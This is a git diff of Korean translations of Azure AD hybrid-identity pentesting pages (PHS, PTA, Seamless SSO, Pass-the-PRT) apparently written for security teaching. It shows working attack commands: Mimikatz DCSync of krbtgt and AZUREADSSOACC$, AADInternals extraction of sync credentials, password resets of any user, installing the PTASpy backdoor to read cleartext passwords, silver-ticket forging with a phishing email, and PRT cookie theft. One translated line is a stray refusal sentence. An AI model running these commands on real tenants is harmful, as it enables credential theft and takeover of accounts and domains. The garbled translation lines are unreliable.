-이는 회사들이 온프레미스 AD와 Azure AD를 동기화하는 데 사용하는 **가장 일반적인 방법**입니다. +이는 **온프레미스 AD와 Azure AD를 동기화하는 데 가장 일반적으로 사용되는 방법**입니다. 모든 **사용자**와 **비밀번호 해시의 해시**가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 **평문 비밀번호**나 **원본** **해시**는 Azure AD로 전송되지 않습니다.\ -게다가, **내장** 보안 그룹(예: 도메인 관리자 등)은 Azure AD로 **동기화되지 않습니다**. +또한, **내장** 보안 그룹(예: 도메인 관리자 등)은 Azure AD로 **동기화되지 않습니다**. **해시 동기화**는 매 **2분**마다 발생합니다. 그러나 기본적으로 **비밀번호 만료** 및 **계정** **만료**는 Azure AD에서 **동기화되지 않습니다**. 따라서 **온프레미스 비밀번호가 만료된**(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 **Azure 리소스에 계속 접근할 수 있습니다**. -온프레미스 사용자가 Azure 리소스에 접근하고자 할 때, **인증은 Azure AD에서 이루어집니다**. +온프레미스 사용자가 Azure 리소스에 접근하려고 할 때, **인증은 Azure AD에서 이루어집니다**. -**PHS**는 **Identity Protection** 및 AAD 도메인 서비스와 같은 기능에 필요합니다. +**PHS**는 **아이덴티티 보호** 및 AAD 도메인 서비스와 같은 기능에 필요합니다. ## Pivoting PHS가 구성되면 일부 **특권 계정**이 자동으로 **생성됩니다**: -- 계정 **`MSOL_`**는 온프레미스 AD에 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) 참조). 이는 온프레미스 AD에서 **복제(DCSync) 권한**을 가지고 있음을 의미합니다. +- 계정 **`MSOL_`**는 온프레미스 AD에 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)를 참조). 이는 이 계정이 **온프레미스 AD에서 복제(DCSync) 권한을 가지고 있음을 의미합니다**. - 계정 **`Sync__installationID`**가 Azure AD에 생성됩니다. 이 계정은 Azure AD에서 **모든 사용자**(동기화된 사용자 또는 클라우드 전용 사용자)의 비밀번호를 **재설정할 수 있습니다**. -이 두 개의 특권 계정의 비밀번호는 **Azure AD Connect가 설치된 서버의 SQL 서버에 저장됩니다**. 관리자는 이러한 특권 사용자의 비밀번호를 평문으로 추출할 수 있습니다.\ +이전의 두 특권 계정의 비밀번호는 **Azure AD Connect가 설치된 서버의 SQL 서버에 저장됩니다**. 관리자는 이러한 특권 사용자의 비밀번호를 평문으로 추출할 수 있습니다.\ 데이터베이스는 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`에 위치합니다. 구성 정보를 테이블 중 하나에서 추출할 수 있으며, 하나는 암호화되어 있습니다: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 타협하면 AD와 AzureAD로 권한 상승이 가능합니다. +**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 손상시키면 AD와 AzureAD로 권한 상승이 가능합니다. 이 자격 증명이 저장되고 복호화되는 방법에 대한 [전체 개요는 이 강연에서 확인할 수 있습니다](https://www.youtube.com/watch?v=JEIR5oGCwdg). ### Finding the **Azure AD connect server** **Azure AD Connect가 설치된 서버**가 도메인에 가입되어 있다면(문서에서 권장), 다음과 같이 찾을 수 있습니다: -```powershell +```bash # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` ### MSOL\_\* 악용하기 -```powershell +```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -57,12 +57,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!CAUTION] -> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials. +> 이 자격 증명을 얻기 위해 [**adconnectdump**](https://github.com/dirkjanm/adconnectdump)를 사용할 수도 있습니다. ### Sync\_\* 악용 -**`Sync_*`** 계정을 손상시키면 모든 사용자의 **비밀번호를 재설정**할 수 있습니다 (전역 관리자 포함). -```powershell +**`Sync_*`** 계정을 손상시키면 모든 사용자의 **비밀번호를 재설정**할 수 있습니다(전역 관리자 포함). +```bash # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` 클라우드 사용자만의 **비밀번호를 수정하는 것도 가능합니다** (예상치 못한 경우에도). -```powershell +```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 91276557b..df73129b9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -6,7 +6,7 @@ [문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication은 사용자가 **동일한 비밀번호를 사용하여 온프레미스 및 클라우드 기반 애플리케이션에 로그인할 수 있도록** 합니다. 이 기능은 사용자가 기억해야 할 비밀번호가 하나 줄어들어 더 나은 경험을 제공하고, 사용자가 로그인 방법을 잊어버릴 가능성이 줄어들어 IT 헬프데스크 비용을 절감합니다. 사용자가 Azure AD를 사용하여 로그인할 때, 이 기능은 **온프레미스 Active Directory에 대해 사용자의 비밀번호를 직접 검증**합니다. -PTA에서는 **신원**이 **동기화**되지만 **비밀번호**는 PHS와 같이 **동기화되지 않습니다**. +PTA에서는 **아이덴티티**가 **동기화**되지만 **비밀번호**는 PHS와 달리 **동기화되지 않습니다**. 인증은 온프레미스 AD에서 검증되며, 클라우드와의 통신은 **온프레미스 서버**에서 실행되는 **인증 에이전트**에 의해 이루어집니다 (온프레미스 DC에 있을 필요는 없습니다). @@ -20,20 +20,20 @@ PTA에서는 **신원**이 **동기화**되지만 **비밀번호**는 PHS와 같 4. **에이전트**가 **온프레미스 AD**에 대해 자격 증명을 **검증**하고, 긍정적인 응답이 있을 경우 **사용자의 로그인을 완료**하기 위해 Azure AD에 **응답**을 **전송**합니다. > [!WARNING] -> 공격자가 **PTA**를 **타협**하면 큐에서 모든 **자격 증명**을 ( **일반 텍스트**로) **볼 수 있습니다**.\ -> 그는 또한 AzureAD에 대해 **모든 자격 증명**을 **검증**할 수 있습니다 (Skeleton key와 유사한 공격). +> 공격자가 **PTA**를 **타격**하면 큐에서 모든 **자격 증명**을 ( **명확한 텍스트**로) **볼 수 있습니다**.\ +> 그는 또한 AzureAD에 대해 **모든 자격 증명**을 **검증**할 수 있습니다 (스켈레톤 키와 유사한 공격). ### 온프레미스 -> 클라우드 -**PTA** **에이전트**가 실행 중인 **Azure AD Connect 서버**에 **관리자** 액세스가 있는 경우, **AADInternals** 모듈을 사용하여 **모든 비밀번호**가 **유효한 인증**을 위해 **검증**될 수 있도록 **백도어**를 **삽입**할 수 있습니다: -```powershell +**PTA** **에이전트**가 실행 중인 **Azure AD Connect 서버**에 **관리자** 액세스가 있는 경우, **AADInternals** 모듈을 사용하여 **모든 비밀번호**가 유효하도록 **백도어**를 **삽입**할 수 있습니다: +```bash Install-AADIntPTASpy ``` > [!NOTE] -> **설치가 실패하는 경우**, 이는 아마도 [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)가 누락되었기 때문입니다. +> 설치가 **실패하는 경우**, 이는 아마도 [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)가 누락되었기 때문입니다. -이전 백도어가 설치된 머신에서 다음 cmdlet을 사용하여 **PTA 에이전트에 전송된 평문 비밀번호를 확인할 수 있습니다**: -```powershell +이전 백도어가 설치된 머신에서 다음 cmdlet을 사용하여 **PTA 에이전트에 전송된 평문 비밀번호를 볼 수 있습니다**: +```bash Get-AADIntPTASpyLog -DecodePasswords ``` 이 백도어는 다음을 수행합니다: @@ -43,12 +43,12 @@ Get-AADIntPTASpyLog -DecodePasswords - `PTASpy.dll`을 `AzureADConnectAuthenticationAgentService` 프로세스에 주입합니다. > [!NOTE] -> AzureADConnectAuthenticationAgent 서비스가 재시작되면 PTASpy가 “언로드”되며 다시 설치해야 합니다. +> AzureADConnectAuthenticationAgent 서비스가 재시작되면 PTASpy는 “언로드”되며 다시 설치해야 합니다. ### 클라우드 -> 온프레미스 > [!CAUTION] -> 클라우드에서 **GA 권한**을 얻은 후, **공격자가 제어하는 머신**에 **새 PTA 에이전트**를 등록할 수 있습니다. 에이전트가 **설정**되면, **이전** 단계를 **반복**하여 **모든 비밀번호**를 사용하여 **인증**하고, **비밀번호를 평문으로 가져올** 수 있습니다. +> 클라우드에서 **GA 권한**을 얻은 후, **공격자가 제어하는 머신**에 설정하여 **새 PTA 에이전트**를 **등록**할 수 있습니다. 에이전트가 **설정**되면, **이전** 단계를 **반복**하여 **모든 비밀번호를 사용하여 인증**하고, **비밀번호를 평문으로 얻을 수 있습니다.** ### 원활한 SSO @@ -58,7 +58,7 @@ PTA와 함께 원활한 SSO를 사용할 수 있으며, 이는 다른 남용에 seamless-sso.md {{#endref}} -## 참고문헌 +## 참조 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 0e27376e4..1a01aac91 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -12,7 +12,7 @@ 이는 [**PHS (비밀번호 해시 동기화)**](phs-password-hash-sync.md)와 [**PTA (통과 인증)**](pta-pass-through-authentication.md) 모두에서 지원됩니다. -데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **AZUREADSSOACC`$`라는 컴퓨터 계정을 생성**합니다. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Azure AD로 평문으로 전송됩니다**. +데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **AZUREADSSOACC`$`**라는 **컴퓨터 계정을 생성**합니다. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Azure AD로 평문으로 전송**됩니다. **Kerberos 티켓**은 비밀번호의 **NTHash (MD4)**를 사용하여 **암호화**되며, Azure AD는 전송된 비밀번호를 사용하여 티켓을 복호화합니다. @@ -20,8 +20,8 @@ ### 온프레미스 -> 클라우드 -사용자 **`AZUREADSSOACC$`의 비밀번호는 절대 변경되지 않습니다**. 따라서 도메인 관리자는 이 계정의 **해시를 손상시킬 수 있으며**, 이를 사용하여 **은 티켓**을 생성하여 **동기화된 모든 온프레미스 사용자**로 Azure에 연결할 수 있습니다. -```powershell +사용자 **`AZUREADSSOACC$`**의 **비밀번호**는 **절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수 있으며**, 이를 사용하여 **은 티켓**을 생성하여 **동기화된 모든 온프레미스 사용자**로 Azure에 연결할 수 있습니다. +```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit @@ -38,8 +38,8 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` -해시를 사용하여 이제 **실버 티켓을 생성할 수 있습니다**: -```powershell +해시를 사용하여 이제 **실버 티켓을 생성**할 수 있습니다: +```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -53,12 +53,12 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` -은색 티켓을 활용하기 위해서는 다음 단계를 실행해야 합니다: +To utilize the silver ticket, the following steps should be executed: 1. **브라우저 시작:** Mozilla Firefox를 실행해야 합니다. 2. **브라우저 구성:** - **`about:config`**로 이동합니다. -- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 설정을 지정된 [값들](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)로 설정합니다: +- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)의 기본 설정을 지정된 [값](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)으로 설정합니다: - `https://aadg.windows.net.nsatc.net` - `https://autologon.microsoftazuread-sso.com` 3. **웹 애플리케이션 접근:** @@ -70,20 +70,20 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub > [!TIP] > MFA가 활성화된 경우 우회하지 않습니다. -#### 옵션 2 - dcsync 없이 - SeamlessPass +#### 옵션 2 dcsync 없이 - SeamlessPass -이 공격을 **dcsync 공격 없이** 수행하는 것도 가능하며, 이는 [이 블로그 게시물](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)에서 설명된 바와 같이 더 은밀하게 진행할 수 있습니다. 이를 위해서는 다음 중 하나만 필요합니다: +이 공격을 **dcsync 공격 없이** 수행하는 것도 가능합니다. [이 블로그 게시물](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)에서 설명된 대로 더 은밀하게 진행할 수 있습니다. 이를 위해 다음 중 하나만 필요합니다: - **손상된 사용자의 TGT:** 사용자가 손상되었지만 TGT가 없더라도, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 및 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)와 같은 많은 도구에서 구현된 가짜 TGT 위임 트릭을 사용하여 얻을 수 있습니다. - **골든 티켓**: KRBTGT 키가 있다면 공격받는 사용자에게 필요한 TGT를 생성할 수 있습니다. - **손상된 사용자의 NTLM 해시 또는 AES 키:** SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성합니다. -- **AZUREADSSOACC$ 계정 NTLM 해시 또는 AES 키:** 이 정보와 공격할 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행한 대로). +- **AZUREADSSOACC$ 계정 NTLM 해시 또는 AES 키:** 이 정보와 공격할 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행된 대로). 마지막으로, TGT를 사용하여 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 도구를 사용할 수 있습니다: ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` -Firefox에서 seamless SSO를 작동하도록 설정하는 추가 정보는 [**이 블로그 게시물에서**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 확인할 수 있습니다. +Firefox를 원활한 SSO와 함께 작동하도록 설정하는 추가 정보는 [**이 블로그 게시물에서**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 확인할 수 있습니다. #### ~~클라우드 전용 사용자에 대한 Kerberos 티켓 생성~~ diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index fbf27efc5..4dac5116e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -34,34 +34,34 @@ PRT 쿠키는 실제로 **`x-ms-RefreshTokenCredential`**이라고 하며, JSON "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -실제 **Primary Refresh Token (PRT)**는 **`refresh_token`** 내에 캡슐화되어 있으며, 이는 Azure AD의 제어 하에 있는 키로 암호화되어 있어 그 내용을 우리가 이해할 수 없고 복호화할 수 없습니다. 필드 **`is_primary`**는 이 토큰 내에 기본 새로 고침 토큰이 캡슐화되어 있음을 나타냅니다. 쿠키가 의도된 특정 로그인 세션에 바인딩되도록 하기 위해, `request_nonce`는 `logon.microsoftonline.com` 페이지에서 전송됩니다. +실제 **Primary Refresh Token (PRT)**는 **`refresh_token`** 내에 캡슐화되어 있으며, 이는 Azure AD의 제어 하에 있는 키로 암호화되어 있어 그 내용은 우리에게 불투명하고 복호화할 수 없습니다. 필드 **`is_primary`**는 이 토큰 내에 기본 새로 고침 토큰이 캡슐화되어 있음을 나타냅니다. 쿠키가 의도된 특정 로그인 세션에 바인딩되도록 하기 위해, `request_nonce`는 `logon.microsoftonline.com` 페이지에서 전송됩니다. ### TPM을 이용한 PRT 쿠키 흐름 -**LSASS** 프로세스는 TPM에 **KDF 컨텍스트**를 전송하고, TPM은 **세션 키**(AzureAD에 등록될 때 수집되어 TPM에 저장된)를 사용하여 이전 컨텍스트와 함께 **키를 파생**하며, 이 **파생된 키**는 **PRT 쿠키(JWT)를 서명하는 데 사용됩니다.** +**LSASS** 프로세스는 **KDF context**를 TPM에 전송하고, TPM은 **세션 키**(AzureAD에 등록될 때 수집되어 TPM에 저장된)를 사용하여 이전 컨텍스트와 함께 **키를 파생**하며, 이 **파생된 키**는 **PRT 쿠키(JWT)를 서명하는 데 사용됩니다.** -**KDF 컨텍스트는** AzureAD의 논스와 PRT가 혼합된 **JWT**와 **컨텍스트**(무작위 바이트)입니다. +**KDF context는** AzureAD의 nonce와 PRT가 혼합된 **JWT**와 **컨텍스트**(무작위 바이트)입니다. -따라서 PRT가 TPM 내부에 위치해 있기 때문에 추출할 수 없더라도, LSASS를 악용하여 **새로운 컨텍스트에서 파생된 키를 요청하고 생성된 키를 사용하여 쿠키에 서명할 수 있습니다.** +따라서 PRT가 TPM 내부에 위치해 있기 때문에 추출할 수 없더라도, LSASS를 악용하여 **새로운 컨텍스트에서 파생된 키를 요청하고 생성된 키를 사용하여 쿠키를 서명하는** 것이 가능합니다.
## PRT 악용 시나리오 -**일반 사용자**로서 LSASS에 SSO 데이터를 요청하여 **PRT 사용 요청**을 할 수 있습니다.\ +**일반 사용자**로서 LSASS에 SSO 데이터를 요청하여 **PRT 사용을 요청**할 수 있습니다.\ 이는 **Web Account Manager**(토큰 브로커)에서 토큰을 요청하는 **네이티브 앱**처럼 수행할 수 있습니다. WAM은 요청을 **LSASS**에 전달하고, LSASS는 서명된 PRT 주장을 사용하여 토큰을 요청합니다. 또는 **PRT 쿠키**를 **헤더**로 사용하여 Azure AS 로그인 페이지에 대한 요청을 인증하는 **브라우저 기반(웹) 흐름**으로 수행할 수 있습니다. -**SYSTEM**으로서 TPM에 의해 보호되지 않는 경우 PRT를 **탈취하거나** LSASS에서 PRT 키와 상호작용할 수 있습니다. +**SYSTEM**으로서 TPM에 의해 보호되지 않는 경우 PRT를 **탈취하거나 LSASS에서 PRT 키와 상호작용**할 수 있습니다. ## Pass-the-PRT 공격 예시 ### 공격 - ROADtoken -이 방법에 대한 자세한 정보는 [**이 게시물**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)을 확인하세요. ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 ROADtools와 함께 사용되어 인증하고 **지속적인 새로 고침 토큰을 얻는 데 사용될 수 있습니다.** +이 방법에 대한 자세한 정보는 [**이 게시물**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)을 확인하세요. ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 ROADtools와 함께 사용되어 인증하고 **지속적인 새로 고침 토큰을 얻는 데** 사용될 수 있습니다. -유효한 PRT 쿠키를 생성하기 위해 필요한 첫 번째 것은 논스입니다.\ +유효한 PRT 쿠키를 생성하기 위해 필요한 첫 번째 것은 nonce입니다.\ 다음과 같이 얻을 수 있습니다: -```powershell +```bash $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -77,19 +77,19 @@ $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` 또는 [**roadrecon**](https://github.com/dirkjanm/ROADtools)를 사용하여: -```powershell +```bash roadrecon auth prt-init ``` -그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)를 사용하여 새로운 PRT를 얻을 수 있습니다(공격할 사용자의 프로세스에서 도구를 실행): -```powershell +그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)를 사용하여 새로운 PRT를 얻을 수 있습니다(사용자의 프로세스에서 도구를 실행하여 공격): +```bash .\ROADtoken.exe ``` 죄송합니다. 요청하신 내용을 처리할 수 없습니다. -```powershell +```bash Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` 그런 다음 **생성된 쿠키**를 사용하여 **토큰을 생성**하고 Azure AD **Graph** 또는 Microsoft Graph를 사용하여 **로그인**할 수 있습니다: -```powershell +```bash # Generate roadrecon auth --prt-cookie @@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### Attack - Using AADInternals and a leaked PRT `Get-AADIntUserPRTToken` **사용자의 PRT 토큰을** Azure AD에 가입된 또는 하이브리드 가입된 컴퓨터에서 가져옵니다. `BrowserCore.exe`를 사용하여 PRT 토큰을 가져옵니다. -```powershell +```bash # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` Mimikatz의 값을 가지고 있다면 AADInternals를 사용하여 토큰을 생성할 수도 있습니다: -```powershell +```bash # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -[https://login.microsoftonline.com](https://login.microsoftonline.com)에 가서 login.microsoftonline.com의 모든 쿠키를 지우고 새로운 쿠키를 입력하세요. +[https://login.microsoftonline.com](https://login.microsoftonline.com)에 가서 login.microsoftonline.com의 모든 쿠키를 지우고 새 쿠키를 입력합니다. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -153,20 +153,20 @@ HttpOnly: Set to True (checked) #### 단계 1. **PRT (Primary Refresh Token)가 LSASS** (Local Security Authority Subsystem Service)에서 추출되어 이후 사용을 위해 저장됩니다. -2. **세션 키가 다음으로 추출됩니다**. 이 키는 처음에 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI (Data Protection API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 및 그 응용 프로그램에 대한 이해는 [Pass-the-cookie attack](az-pass-the-cookie.md)를 참조하십시오. -3. 세션 키의 복호화 후, **PRT에 대한 파생 키와 컨텍스트가 얻어집니다**. 이는 **PRT 쿠키 생성에 필수적입니다**. 특히, 파생 키는 쿠키를 구성하는 JWT (JSON Web Token)를 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공한 것으로, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다. +2. **세션 키가 다음으로 추출됩니다**. 이 키는 처음에 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI (Data Protection API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 및 그 응용에 대한 이해는 [Pass-the-cookie attack](az-pass-the-cookie.md)를 참조하십시오. +3. 세션 키의 복호화 후, **PRT에 대한 파생 키와 컨텍스트가 얻어집니다**. 이는 **PRT 쿠키 생성에 필수적입니다**. 특히, 파생 키는 쿠키를 구성하는 JWT (JSON Web Token)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan에 의해 제공되었으며, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다. > [!CAUTION] > PRT가 TPM 내부에 있고 `lsass` 내부에 없다면 **mimikatz는 이를 추출할 수 없습니다**.\ -> 그러나 TPM에서 **컨텍스트의 파생 키로부터 키를 얻고 이를 사용하여 쿠키를 서명하는 것이 가능할 것입니다 (옵션 3 확인).** +> 그러나 TPM에서 **컨텍스트의 파생 키로부터 키를 얻고 이를 사용하여 쿠키에 서명하는 것이 가능할 것입니다 (옵션 3 확인).** -이 세부 정보를 추출하는 과정에 대한 **심층 설명**은 여기에서 확인할 수 있습니다: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +이 세부 사항을 추출하는 과정에 대한 **심층 설명**은 여기에서 확인할 수 있습니다: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] > 2021년 8월 수정 이후 다른 사용자의 PRT 토큰을 얻는 것은 정확히 작동하지 않을 것입니다. 오직 사용자만 자신의 PRT를 얻을 수 있으며 (로컬 관리자는 다른 사용자의 PRT에 접근할 수 없음), 자신의 PRT에 접근할 수 있습니다. **mimikatz**를 사용하여 PRT를 추출할 수 있습니다: -```powershell +```bash mimikatz.exe Privilege::debug Sekurlsa::cloudap @@ -179,15 +179,15 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-**복사**하여 **Prt**로 표시된 부분을 저장합니다.\ -아래 강조 표시된 **`ProofOfPossesionKey`** 필드의 **`KeyValue`**인 세션 키도 추출합니다. 이것은 암호화되어 있으며, 이를 복호화하기 위해 DPAPI 마스터 키를 사용해야 합니다. +**Prt**로 표시된 부분을 **복사**하고 저장하세요.\ +아래 강조 표시된 **`ProofOfPossesionKey`** 필드의 **`KeyValue`**인 세션 키도 추출하세요. 이것은 암호화되어 있으며, 이를 해독하기 위해 DPAPI 마스터 키를 사용해야 합니다.
